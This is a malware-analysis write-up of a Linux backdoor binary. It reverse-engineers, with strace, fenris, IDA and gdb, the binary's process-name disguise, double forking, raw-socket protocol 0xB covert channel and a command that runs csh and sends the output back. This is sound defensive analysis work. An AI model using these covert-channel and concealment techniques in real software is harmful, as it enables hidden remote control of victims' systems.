The Reverse Challenge: analysis
This chapter tells the details of what we did, how we did it and why we did it; it is quite a long story.
Our first step analyzing the recently downloaded ‘the-binary’ file is determine what type of file it is:
# file the-binary
the-binary: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, stripped
That gives a lot of useful information:
- It is an standard ELF executable, probably a Linux binary.
- There is no debug information, symbols are stripped, and no shared library file is used. That makes our task a lot harder: forget about easy debugging with gdb, and we must dismiss using tools like ltrace.
Let’s continue our static analysis:
# strings -a the-binary
<-lots
of output lines deleted->
From its output we can conclude several things:
The multiple entries like:
GCC: (GNU) 2.7.2.l.2
indicate the program has been generated with gcc version 2.7.2.1.2.
@(#) The Linux C library 5.3.12
Confirms this is a linux binary, compiled with libc version 5.
These lines are quite interesting:
[mingetty]
/tmp/.hj237349
/bin/csh -f -c "%s" 1> %s 2>&1
TfOjG
/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.
PATH
HISTFILE
linux
TERM
/bin/sh
/bin/csh -f -c "%s"
mingetty is a minimal getty process for virtual consoles (see man 8 mingetty). Why should this be here?
/tmp/.hj237349 indicates a temporal filename, the leading dot is a simple method of trying to hide it.
/bin/csh –f –c “%s” 1> %s 2>&1, and the other csh reference indicates that, at some point, the program will try to execute a command with csh, redirecting its output.
TfOjG seems to be a password-like string. Maybe at some point it is used to validate user input.
PATH, HISTFILE, etc... are common shell environment variables. This shows that, somewhere, the program is able to open a shell.
%d.%d.%d.%d
%u.%u.%u.%u
%c%s
gethostby*.getanswer: asked for "%s", got "%s"
RESOLV_HOST_CONF
/etc/host.conf
order
resolv+: %s: "%s" command incorrectly formatted.
..and etc... indicates that the library resolv+ (now part of libc) is included in the binary. So, at some point, the program will try to resolve hostnames or IP addresses; some network activity is expected then.
The lines
yplib.c,v 2.6 1994/05/27 14:34:43 swen Exp
/var/yp/binding
and many others like them indicate the presence of libc NIS calls. The resolv+ library uses them, but they could also be called directly.
The string
*nazgul*
seemed very suspicious (a password or the like), but a quick search on the web showed us it marks the beginning of a Linux compiled message catalog. It is so fun to learn...
We then proceeded to get file information from objdump.
# objdump -x the-binary
the-binary: file format elf32-i386
the-binary
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048090
Program Header:
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00024222 memsz 0x00024222 flags r-x
LOAD off 0x00024228 vaddr 0x0806d228 paddr 0x0806d228 align 2**12
filesz 0x0000c094 memsz 0x00011970 flags rw-
Sections:
Idx Name Size VMA LMA File off Algn
0 .init 00000008 08048080 08048080 00000080 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .text 0001f53c 08048090 08048090 00000090 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
2 __libc_subinit 00000004 080675cc 080675cc 0001f5cc 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .fini
00000008 080675d0 080675d0
0001f5d0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
4 .rodata
00004c4a 080675d8 080675d8
0001f5d8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .data 0000c084 0806d228 0806d228 00024228 2**2
CONTENTS, ALLOC, LOAD, DATA
6 .ctors 00000008 080792ac 080792ac 000302ac 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .dtors 00000008 080792b4 080792b4 000302b4 2**2
CONTENTS, ALLOC, LOAD, DATA
8 .bss 000058dc 080792bc 080792bc 000302bc 2**2
ALLOC
9 .note 00000d5c 00000000 00000000 000302bc 2**0
CONTENTS, READONLY
10 .comment 00000ea6 00000000 00000000 00031018 2**0
CONTENTS, READONLY
objdump: the-binary: no symbols
****************
The program will beging at memory address 0x08048000.
The program will be loaded at address 0x08048000+00000090=0x08048090.
The .text section is "big": 0x0001f53c bytes.
It is located 0x90 into the file.
And, it is aligned to 16 byte boundary: 2^4 = 2**4 = 16.
****************
Nothing really new here. But then we, for the first time, generated a HUGE assembler listing with objdump –d and -D: (lots of info suppressed)
# objdump -d the-binary
objdump: the-binary: no symbols
the-binary: file format elf32-i386
Disassembly of section .init:
08048080 <.init>:
8048080: e8 23 f5 01 00 call 0x80675a8
8048085: c2 00 00 ret $0x0
Disassembly of section .text:
08048090 <.text>:
8048090: 59 pop %ecx
...
80675cb: 90 nop
Disassembly of section .fini:
080675d0 <.fini>:
80675d0: e8 3b 0b fe ff call 0x8048110
80675d5: c2 00 00 ret $0x0
# objdump -D the-binary
...
...
080675cc <__libc_subinit>:
80675cc: 3c 6d cmp $0x6d,%al
80675ce: 05 .byte 0x5
80675cf: 08 .byte 0x8
Disassembly of section .fini:
080675d0 <.fini>:
80675d0: e8 3b 0b fe ff call 0x8048110
80675d5: c2 00 00 ret $0x0
...
...
Disassembly of section .rodata:
080675d8
<.rodata>:
80675d8: 5b
pop %ebx
...
...
0806d228 <.data>:
806d228: 00 00 add %al,(%eax)
...
...
080792ac <.ctors>:
80792ac: ff (bad)
80792ad: ff (bad)
80792ae: ff (bad)
80792af: ff 00 incl (%eax)
80792b1:
00 00 add %al,(%eax)
...
Disassembly of section .dtors:
080792b4 <.dtors>:
80792b4: ff (bad)
...
It was mostly unreadable.
We tried to determine what system calls could the binary execute. Knowing that system calls are executed in Linux in the following way:
- Calls are made through INT 0x80
- System call is identified with EAX register
- First 5 parameters are send with EBX, ECX, EDX, ESI and EDI registers.
- More parameters (if any) are sent through the stack.
and that the call identification numbers are defined in /usr/include/asm/unistd.h, locating system calls is easy: just search for “int $0x80” in the listing (or “cd 80”, the hexadecimal numbers corresponding to such instruction). Doing that:
# objdump -d the-binary 2>/dev/null| grep "cd 80" | wc -l
47
So there are 47 system calls in the binary.
To find a system call and its parameters:
# objdump -d the-binary | grep -B 7 "cd 80" | more
...
EXAMPLE:
--
80480e6: e8 49 00 00 00
call 0x8048134
80480eb: 50 push %eax
80480ec: e8 cb de 00 00 call 0x8055fbc
80480f1: 5b pop %ebx
80480f2:
8d b4 26 00 00 00 00 lea 0x0(%esi,1),%esi
80480f9: 8d b4 26 00 00 00 00
lea 0x0(%esi,1),%esi
8048100: b8 01 00 00 00 mov $0x1,%eax
8048105: cd 80 int $0x80
--
At this point, a small perl script was created to identify system calls in the objdump output. The script, called syscall.pl is available as appendix 0. With it, it was possible to clearly generate a list of the system calls in the code: (parameters omitted for brevity)
80480b4: cd 80 int $0x80 # personality()
8048105: cd 80 int $0x80 # exit()
8056a11: cd 80 int $0x80 # wait4()
8056a54: cd 80 int $0x80 # socketcall()
8056a9c: cd 80 int $0x80 # socketcall()
8056ae4: cd 80 int $0x80 # socketcall()
8056b26: cd 80 int $0x80 # socketcall()
8056b72: cd 80 int $0x80 # socketcall()
8056bcc: cd 80 int $0x80 # socketcall()
8056c1e: cd 80 int $0x80 # socketcall()
8056c78: cd 80 int $0x80 # socketcall()
8056cd1: cd 80 int $0x80 # socketcall()
8056d1c: cd 80 int $0x80 # socketcall()
8057140: cd 80 int $0x80 # chdir()
805716c: cd 80 int $0x80 # close()
805719b: cd 80 int $0x80 # dup2()
80571ca: cd 80 int $0x80 # execve()
80571f0: cd 80 int $0x80 # fork()
8057214: cd 80 int $0x80 # geteuid()
8057238: cd 80 int $0x80 # getpid()
8057263: cd 80 int $0x80 # gettimeofday()
8057292: cd 80 int $0x80 # ioctl()
80572bf: cd 80 int $0x80 # kill()
80572ee: cd 80 int $0x80 # open()
805731e: cd 80 int $0x80 # read()
8057344: cd 80 int $0x80 # setsid()
8057372: cd 80 int $0x80 # sigprocmask()
805739c: cd 80 int $0x80 # uname()
80573c8: cd 80 int $0x80 # unlink()
80573fa: cd 80 int $0x80 # write()
8057424: cd 80 int $0x80 # alarm()
8057450: cd 80 int $0x80 # time()
8057482: cd 80 int $0x80 # writev()
80574ac: cd 80 int $0x80 # select()
80574f7: cd 80 int $0x80 # sigaction()
8057530: cd 80 int $0x80 # sigsuspend()
8057560: cd 80 int $0x80 # exit()
8065d23: cd 80 int $0x80 # mmap()
8065d65: cd 80 int $0x80 # stat()
8065da1: cd
80 int
$0x80 # fstat()
8066106: cd 80 int $0x80 # fcntl()
8066136: cd 80 int $0x80 # lseek()
8066163: cd 80 int $0x80 # munmap()
8066192: cd 80 int $0x80 # readv()
80661c6: cd 80 int $0x80 # mremap()
8066206: cd 80 int $0x80 # brk()
8066244: cd 80 int $0x80 # brk()
Obviously, the binary can still hide more system calls, as more code sections could be hidden in other parts of the program, posing as data. Or the program could modify itself under certains conditions. But it is a start to have this list...
There are many socketcall(), that confirms the hypothesis of lots of network usage, and there are some potentially dangerous system calls, such as kill or unlink.
We then decided to give IDA-pro a try... With it, we generated another HUGE assembler listing. Main advantage here is that IDA makes a great job with some operations, like a switch statement, that makes the code more readable. More interestingly, it automatically identifies all the linux system calls, and put a comment in the corresponding line. It wouldn’t be the last time we discovered an easier way to do something we had already done.
Finally, we run DEC against the binary. It generates a C-like code, so it helps to transform those dark lines full of CMP, JNZ, JZ, etc... instructions into something more readable. But it still generates a very long –and incomprehensible- listing.
It was totally impractical to analyze directly such beasts without more help, so we tried some other approach.
It was time to start a bit of dynamic analysis.
It could be potentially dangerous to run such a program in an unprotected environment, so we proceeded to build our test box:
First of all, we created a vmware Linux disk inside our original Linux test system. The advantage of it is maximum isolation and restoring in minutes if needed. VMware network configuration used was “host-only”. This setting allows the creation of a virtual network, based on an internal VMware virtual hub, communicating the guest and host operating systems without needing a real network connection. This kind of configuration involves a controlled and isolated environment where you can develop any network test without damaging other systems.
Inside of it, just for checking if we could use it in some other systems without vmware, we created a chroot environment with a shell plus some basic tools inside, like strace. The process is easy: just copy binaries and shared libraries used by them, identified with the ldd command.
A chroot’ed environment is not totally secure. There are some forms to escape from it, if you are root. So we decided to start the program with a non-root user, running a simple program named change-user, that changes real uid & gid to a test account.
Here is the script session of what we did:
# chroot ./chroot
bash# change-user
uid=500(test) gid=500(test) groups=500(test)
bash$ strace ./the-binary
execve("./the-binary", ["./the-binary"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 500
_exit(-1) = ?
bash$
Ooops! Program is getting its effective uid at the very beginning and exits. Most likely it expects to be in a privileged account and refuses to run in a normal one.
We decided to run the binary with a root account. After all, the worst thing would be to reinstall our vmware environment, and no chroot() system call had been found in the binary (the easiest way to escape a chroot jail):
bash# strace ./the-binary
execve("./the-binary", ["./the-binary"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
fork() = 1767
_exit(0) = ?
Now, program has created a child process and exited. A quick check with ps shows that no process with PID 1767 is running.
Let’s try again, but now using the –f option to strace, so it follows child processes:
bash# strace -f ./the-binary
execve("./the-binary", ["./the-binary"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
fork() = 1777
[pid 1777] setsid( <unfinished ...>
[pid 1776] _exit(0) = ?
<... setsid resumed> ) = 1777
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
fork() = 1778
[pid 1777] _exit(0) = ?
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1020713618
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0, (ctrl-C
was pressed here)
<unfinished ...>
OK. Now we have a lot of information.
First of all, two consecutive fork() calls are executed. That explained why there was no trace of the child process created before. This is a quite suspicious behaviour: most of standard unix daemons will create a child process with fork(), but not two in cascade; it is likely that the purpose of them is just making our job as analysts more difficult.
After that, a bit of action is done: signals SIGCHLD, SIGTERM and SIGHUP are captured and ignored (the binary doesn’t want to be killed easily), changes to root directory (it doesn’t seem to worry about being in a chroot’ed environment), closes stdin, stdout, and stderr, and opens a socket in raw mode (so it becomes its standard input). It then tries to receive something through that socket. After a while, it was clear nothing else was going to happen, so we stopped it with Ctrl-C.
Interestingly, the socket is opened with unknown protocol 0xB. So it is trying to listen in quite a strange network traffic, most likely nobody will normally send.
Protocol 0xB was unknown to strace and to us, so we did a small search about it and found this in /etc/protocols:
nvp 11 NVP-II # Network Voice Protocol
Specifications for the Network Voice Protocol (NVP) are
available in RFC741.
It could be that this is a very specialized sniffer, but most likely is just waiting for someone to instruct it what to do; and the 0xB protocol is just a covert-channel.
We decided to build up a program capable of sending data with IP 0xB protocol, and send it to the binary, to check its reactions. Making such a program is quite trivial: we named it talk.c and it is available as appendix 0.
At this point we also worried if the binary would check specific information in the IP header, so we decided to build another program capable of talking 0xB protocol, but this time based on libnet library[3]. That program would give us an easy way of controlling network headers in case we would need it. We named it rev.c, and it is available as appendix 0.
In parallel, we discovered fenris. We found it through simple web crawling, searching for a miraculous tool that will help us in our task. At the beginning we started playing around with version 0.01. Better not to talk about the hours lost trying to compile, set up the tool, find the correct command line options... to find several days later that fenris author gave an indication of how to start using it against "the-binary", and there was a version 0.02 available with more options. At the time we found this information we had solved that questions by ourselves...
Anyway, fenris is a great tool, but it isn't easy to make it work in a chroot environment, so we decided to run it out of it. (Again: this is just a test environment with vmware. We are not so crazy). It would be nice to have an “attach to running pid” option in fenris.
You should read fenris documentation, but one of the most useful things it does is identifying library functions. This is done getting the first bytes (by default, 24) of every function in a library and generating a MD5 checksum with them. After that, every time a function is called, its own MD5 checksum is generated and compared with the references previously stored. If there is a match, voilà, we have –probably, there are false positives- identified a function.
As "the binary" was compiled with a version 5 library, a special signature database, provided with the name support/fn-libc5.dat, should be used so functions are properly identified.
So, we run:
# ./fenris -s -f –p -L support/fn-libc5.dat /root/chroot/reverse/the-binary
+++ Executing '/root/chroot/reverse/the-binary' (pid 12261, static) +++
[00000000] 0:00 \ new map: 40000000:77824 (/lib/ld-linux.so.2)
[080480ba] 12261:00 SYS personality (0x0) = -1073742596 (Unknown error 1073742596)
[080480c7] 12261:00 local fnct_1 (0, 1, l/bffffcf4, l/bffffcfc)
[080480c7] 12261:00 + fnct_1 = 0x805756c
[080480c7] 12261:00 # Matches for signature 168E4F1E: setfpucw
[08057579] 12261:01 <8057579> cndt: on-match block +5 executed
[080575a6] 12261:00 ...return from function = <void>
[080480cf] 12261:00 local fnct_2 ()
[080480cf] 12261:00 + fnct_2 = 0x8056d44
[080480cf] 12261:00 # Matches for signature 9C89C698: libc_init
....
These lines identify several libc startup functions: setfpucw, libc_init, the call to personality(), etc... For each of the functions identified by fenris in a certain address, we made a change in our assembler listings (IDA, objdump and REC). Changing something like “call 0x08056d44” to a “call libc_init” it certainly makes your life easier.
[080480d9] 12261:00 + fnct_4 = 0x8055f08
[080480d9] 12261:00 # Matches for signature D8F7AA72: atexit
...
[08055f0f] 12261:01 + fnct_5 = 0x8055f34
[08055f0f] 12261:01 # Matches for signature B1845073: new_exitfn
...
[0804817b] 12261:02 + fnct_9 = 0x805720c
[0804817b] 12261:02 # Matches for signature 5527EA2B: geteuid libc_geteuid
are more library functions being identified.
[080481a3] 12261:02 local fnct_10 (l/bffffd97 "/root/chroot/reverse/the-binary", 0, 31)
[080481a3] 12261:02 + fnct_10 = 0x8057764
[080481a3] 12261:02 \ new buffer candidate: bffffd97:32
[080481a3] 12261:02 # Matches for signature 4E05FA21: memset
This is something really interesting: program is calling memset with these parameters: a string containing its name, a 0, and a 31 –the length of its name-. Most likely, program is erasing its own name!
At this point, a quick check with ps command showed that the binary has indeed been messing around with its name: all instances are created with “[mingetty]” as a process name. That explains why this string was in the binary: it is an attempt to hide himself, acting as a system process.
Let’s continue with fenris output:
[080481d0] 12261:02 local fnct_11 (17, 1)
[080481d0] 12261:02 + fnct_11 = 0x80569bc
[080481d0] 12261:02 # Matches for signature 8AE66F9A: signal ssignal
It is capturing signal 17 (SIGCHLD) as we already knew from strace output.
[080481d5] 12261:02 + fnct_13 = 0x80571e8
[080481d5] 12261:02 # Matches for signature BCF79788: fork libc_fork vfork
[080571f0] 12261:03 fork () = 12262
+++ New process 12262 attached +++
Here the fork() function is identified. The created process is also traced, as we specified the –f option to fenris.
[08056026] 12261:04 local fnct_18 (0)
[08056026] 12261:04 + fnct_18 = 0x8057554
[08056026] 12261:04 # Matches for signature 84D91FB0: exit
The father process exits after flushing buffers...
[080481e8] 12262:02 + fnct_14 = 0x805733c
[080481e8] 12262:02 # Matches for signature DD587118: libc_setsid setsid
[08057348] 12262:03 SYS setsid () = 12262
The child process continues, and as a first step it executes setsid().
And then, after several signal() calls it creates another child:
[080481f6] 12262:02 # Matches for signature BCF79788: fork libc_fork vfork
[080571f0] 12262:03 fork () = 12263
+++ New process 12263 attached +++
We later on found that we were lucky the first time. Doing two quick forks is likely to confuse fenris enough so the second child is not analyzed! Sometimes the system has to spend some time to attach to the new process...
This second child does the actions we already knew, allowing us to identify the library functions chdir and close. And then something interesting happens:
[0804824b] 12263:02 local fnct_17 (0)
[0804824b] 12263:02 + fnct_17 = 0x8057444
[0804824b] 12263:02 # Matches for signature 58B72F00: libc_time time
[08057454] 12263:03 SYS time (0x0) = 1021219858 [Sun May 12 18:10:58 2002]
[08057456] 12263:03 <8057456> cndt: if-above block (signed) +16 executed
[0805746c] 12263:02 ...return from function = <void>
[08048254] 12263:02 local fnct_18 (1021219858)
[08048254] 12263:02 + fnct_18 = 0x80559a0
[08048254] 12263:02 # No matches for signature BAEE4234.
It is calling the time() function, to get the local time, and then it calls an unknown fnct_18() with its result. The fnct_18 then enters in a kind of loop calling the also unknown fnct_19:
[08055b9c] 12263:03 local fnct_19 ()
[08055b9c] 12263:03 # No matches for signature 60DCBA5A.
[08055e42] 12263:04 <8055e42> cndt: on-match block +36 skipped
[08055e93] 12263:04 <8055e93> cndt: if-below block (signed) +19 executed
[08055eba] 12263:04 <8055eba> cndt: if-below block (signed) +10 executed
[08055ecb] 12263:03 ...return from function = <void>
[08055bae] 12263:03 <8055bae> cndt: if-above block (unsigned) -20 repeated
[08055b9c] 12263:03 local fnct_19 ()
[08055b9c] 12263:03 # No matches for signature 60DCBA5A.
[08055e42] 12263:04 <8055e42> cndt: on-match block +36 skipped
[08055e93] 12263:04 <8055e93> cndt: if-below block (signed) +19 executed
....lots of similar lines here...
What could be the time needed for? At this point we had some alternatives:
q it is a kind of random() function, and is using current time as a seed.
q it is a ciphering function, using time to complicate it... Such a ciphering algorithm would be difficult to be used to communicate with other party, as they would have to agree on local time, but it is possible.
q the binary makes some job or some other depending on the local time, like a virus that formats the hard disk on Friday 13.
Let’s going on with fenris output:
[08048262] 12263:02 local fnct_20 (2, 3, 11)
[08048262] 12263:02 + fnct_20 = 0x8056cf4
[08048262] 12263:02 # No matches for signature 93D3112B.
[08056d20] 12263:03 SYS socket (PF_INET, SOCK_RAW, 11 [unknown]) = 0
[08056d20] 12263:03 @ created fd 0 (<new PF_INET:SOCK_RAW:unknown>)
Function fnct_20 creates the raw socket. Interestingly, fenris does not identify it as being the library function socket(), although it really looks as it: the parameters 2,3 and 11 correspond to the correct ones to use for creating a raw ip socket with protocol 0xB. At this point, we decided to start naming all the functions following this criteria:
q Functions identified by fenris: libc_something, where something is the identified function.
q Functions not identified by fenris as library ones, but that looks as being one: nonlibc_something.
q Functions not identified at all: fnct_XX, being the name assigned by fenris.
[080482c5] 12263:02 local fnct_21 (0, l/bffff4d4, 2048, 0)
[080482c5] 12263:02 + fnct_21 = 0x8056b44
[080482c5] 12263:02 + l/bffff4d4 (maxsize 2060) = stack of fcnt_8 (0 down)
[080482c5] 12263:02 # No matches for signature 16E2ECD3.
[08056b76] 12263:03 [08056b76] 12263:03 SYS recv (0, bffff4d4 "E?", 2048, 0x0) = 21
[08056b76] 12263:03 + l/bffff4d4 (maxsize 2060) = stack of fcnt_8 (1 down)
[08056b76] 12263:03 + fd 0: "<new PF_INET:SOCK_RAW:unknown>", opened in S fnct_20:socketcall
Finally, we get to the point of listening on the raw socket. This function fnct_21 also looks like the library recv function but it is not identified... Is this using a kind of socket library different than the one included in standard libc?
Anyway, after this run of fenris, we had identified several library functions, and named some others, so our IDA, objdump and REC listings seemed a bit more readable, but there was still a lot to be done.
It was time to send data through that 0xB protocol, using our talkto program. The first release just read bytes from standard input and builds an IP packet with it.
Sending just an ‘A’ through it, it produces a simple behaviour (observed in strace output): it receives the bytes, and start again listening with recv:
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
recv(0, <unfinished ...>
So, the binary is expecting something with a well defined format, not just a random byte. It is time to check with the assembler listing:
.text:080482C5 call nonlibc_recv ; Call Procedure
.text:080482CA mov esi, eax
.text:080482CC add esp, 10h ; Add
.text:080482CF mov edx, [ebp+var_44D0]
.text:080482D5 cmp byte ptr [edx+9], 0Bh ; Compare Two Operands
.text:080482D9 jnz usleep_and_restart ; default
.text:080482DF mov ecx, [ebp+var_44D4]
.text:080482E5 cmp byte ptr [ecx], 2 ; Compare Two Operands
.text:080482E8 jnz usleep_and restart ; default
.text:080482EE cmp esi, 0C8h ; Compare Two Operands
.text:080482F4 jle loc_8048EB8 ; default
.text:080482FA mov edx, [ebp+var_44E0]
.text:08048300 push edx
.text:08048301 mov ecx, [ebp+var_44D8]
.text:08048307 push ecx
.text:08048308 lea eax, [esi-16h] ; Load Effective Address
.text:0804830B push eax
.text:0804830C call sub_804A1E8 ; Call Procedure
After calling recv, at position 080482C5, it starts checking the data received. In position 0x080482D5 it compares the ninth byte with 0xB; if it is not the correct value, jumps to 8048EB8 (where it just calls usleep and returns to the main recv loop, so we named that position as usleep_and_restart). That’s ok, we are already sending such byte.
In 0x080482E5 it compares the first byte after the IP header with 0x02. With a different value, it discards the packet and reads another one. So, to be properly formatted, our first byte of 0xB protocol has to be 0x02.
Later on, in 0x080482EE compares the result of the nonlibc_recv function with 0xC8. Assuming this function behaves as the standard recv, it is checking that the total bytes received is greater than 200. So, we have to create a packet bigger than 200 bytes (20 of IP header + at least 181 extra bytes).
That seems to be all the format needed for the packet to be a valid one. It then calls subroutine sub_804A1E8 with the size of the data, the received bytes (skipping some at the beginning) and another variable, but that’s another story. For the moment, it is time to build up a new version of our talk.c program, to take into account this new information: the first byte is set to 0x02 and, by default, 1500 bytes are sent.
Meanwhile, we tried to step over this control of packet format with gdb.
A sample session with gdb follows, to show how to step over one of those cmp instructions. Just set the checked value to be the correct one.
bash# gdb reverse/the-binary 867
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
//867: No such file or directory.
Attaching to program: /reverse/the-binary, Pid 867
0x8056b74 in ?? ()
(gdb) b*0x080482E5
Breakpoint 1 at 0x080482e5
(gdb) c
Continuing.
(sample OxB protocol packet is sent at this point)
Breakpoint 1, 0x080482e5 in ?? ()
(gdb) p *0xbffff4f8=2
$1 = 2
(gdb)
Working that way, we can avoid the program to exit and simulate that the incoming packet is properly formatted. So, working that way we get to the code after the call to the subroutine sub_804A1E8:
0000:08048311 add esp, 0Ch ; ESP=ESP+0Ch
0000:08048314 movzx eax, [ebp+var_3] ; var_3 is the 3th argument passed to previous function.
0000:0804831B dec eax
0000:0804831C cmp eax, 0Bh ; switch 12 cases
0000:0804831F ja usleep_and_restart ; default
0000:08048325 jmp dword ptr ds:switch_table[eax*4] ; switch jump
0000:08048325 ; ---------------------------------------------------------------------------
0000:0804832C switch_table:
0000:0804832C dd offset case_0 ;jump table for switch statement
0000:0804832C dd offset case_1
0000:0804832C dd offset case_2
0000:0804832C dd offset case_3
0000:0804832C dd offset case_4
0000:0804832C dd offset case_5
0000:0804832C dd offset case_6
0000:0804832C dd offset case_7
0000:0804832C dd offset case_8
0000:0804832C dd offset case_9
0000:0804832C dd offset case_10
0000:0804832C dd offset case_11
We can see that the binary is checking the result of the subroutine sub_804A1E8 (the third argument passed to the function is modified inside it); if the first byte is bigger than 11, it just restarts the recv loop. Otherwise it enters a switch statement, jumping to different points of the program. So it seems that this byte is a kind of action selector.
We tried to analyze this new 11 points through gdb (I will save you the long sessions) but it is definitively very difficult to do it. We needed the help of strace & fenris, but at this point we didn’t know how to make this subroutine sub_804A1E8 to produce the output we need, so we tried a different approach: modify the binary so the register EAX contains the value we want, regardless of the results of the subroutine.
In particular, we would like to modify the line:
0000:0804831B dec eax
to:
0000:0804831B mov eax, [want-we-like]
before the switch jump. But the second instruction is encoded with two bytes instead of the one used by the “dec eax” instruction. Modifing just these two bytes would create a bad instruction, so we added several nop’s at the end so the
cmp eax, 0Bh
ja usleep_and_restart
instructions are overwritten. That way, using a binary editor we search for:
48 83 F8 0B 0F 87 93 0B 00 00 FF 24 85 2C
and replaced it with:
B8 XX 00 00 00 90 90 90 90 90 FF 24 85 2C
where XX is the switch case we want to force. Doing this, we created twelve copies of “the-binary”, calling them “the-binary0”, “the-binary1”, etc... that, regardless of the packet sent, it behaves as if the correct order had been sent.
Now we could run a strace for each of the cases. For example, running strace against “the-binary2”, we found some useful information:
bash# strace -f reverse/the-binary2
execve("reverse/the-binary2", ["reverse/the-binary2"], [/* 25 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
fork() = 916
[pid 915] _exit(0) = ?
setsid() = 916
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
fork() = 917
[pid 916] _exit(0) = ?
chdir("/") = 0
close(0) = 0
close(1) = 0
close(2) = 0
time(NULL) = 1021483003
socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
recv(0,
"E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"...,
2048, 0) = 201
fork() = 921
[pid 917] oldselect(1, NULL, NULL, NULL, {0, 10000} <unfinished ...>
[pid 921] setsid() = 921
[pid 921] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
[pid 921] fork() = 922
[pid 917] <... oldselect resumed> ) = 0 (Timeout)
[pid 917] recv(0, <unfinished ...>
[pid 921] sigprocmask(SIG_BLOCK, [ALRM], []) = 0
[pid 921] sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x40037c68) = 0
[pid 921] time(NULL) = 1021483011
[pid 921] alarm(10) = 0
[pid 921] sigsuspend([] <unfinished ...>
[pid 922] sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
[pid 922] sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0
[pid 922] sigprocmask(SIG_BLOCK, [CHLD], []) = 0
[pid 922] fork() = 923
[pid 922] wait4(923, <unfinished ...>
[pid 923] sigaction(SIGINT, {SIG_DFL}, NULL, 0x29) = 0
[pid 923] sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x2a) = 0
[pid 923] sigprocmask(SIG_SETMASK, [], NULL) = 0
[pid 923] execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"\352\352\352\352\352\352\352\340\352\352"...], [/* 25 vars */]) = 0
Hey! After receiving the packet and interpreting it as command number 2, the binary created a child process with fork() and then call execve("/bin/sh", ["sh", "-c", "/bin/csh -f –c [some garbage]. So this case runs a command through /bin/csh!.
[pid 924] open("/tmp/.hj237349", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 1
[pid 924] dup2(1, 2) = 2
[pid 924] fcntl(1, F_GETFD) = 0
[pid 924] execve("/bin/csh", ["/bin/csh", "-f", "-c", "\352\352\352\352\352\352\352\340\352\352\352\352\352\352"...], [/* 25 vars */]) = 0
Moreover, the output of the command is redirected to file /tmp/.hj237349. Later on...
[pid 922] open("/tmp/.hj237349", O_RDONLY) = 1
[pid 922] fstat(1, {st_mode=S_IFREG|0644, st_size=8, ...}) = 0
[pid 922] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
[pid 922] read(1, "goodbye\n", 4096) = 8
[pid 922] read(1, "", 4096) = 0
[pid 922] socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 2
[pid 922] sendto(2, "E\0\2#Q\216\0\0\372\vmB\0\0\0\0\0\0\0\0\3\0\1\33\231\37"..., 547, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 547
This temporal file is opened and read. Then a new socket in raw mode is created and some information is sent through it. Most likely the results of the command are sent back to the master side. We had previously modified /bin/csh to be a simple script that returned “goodbye”, just to make sure if at any time was being called and how. You can see this string in the strace output.
So, this case 2 is a kind of backdoor program.
We run this strace command with all the 12 binaries (you can see the complete output for these commands in appendix 0), and learn more things about the different cases.
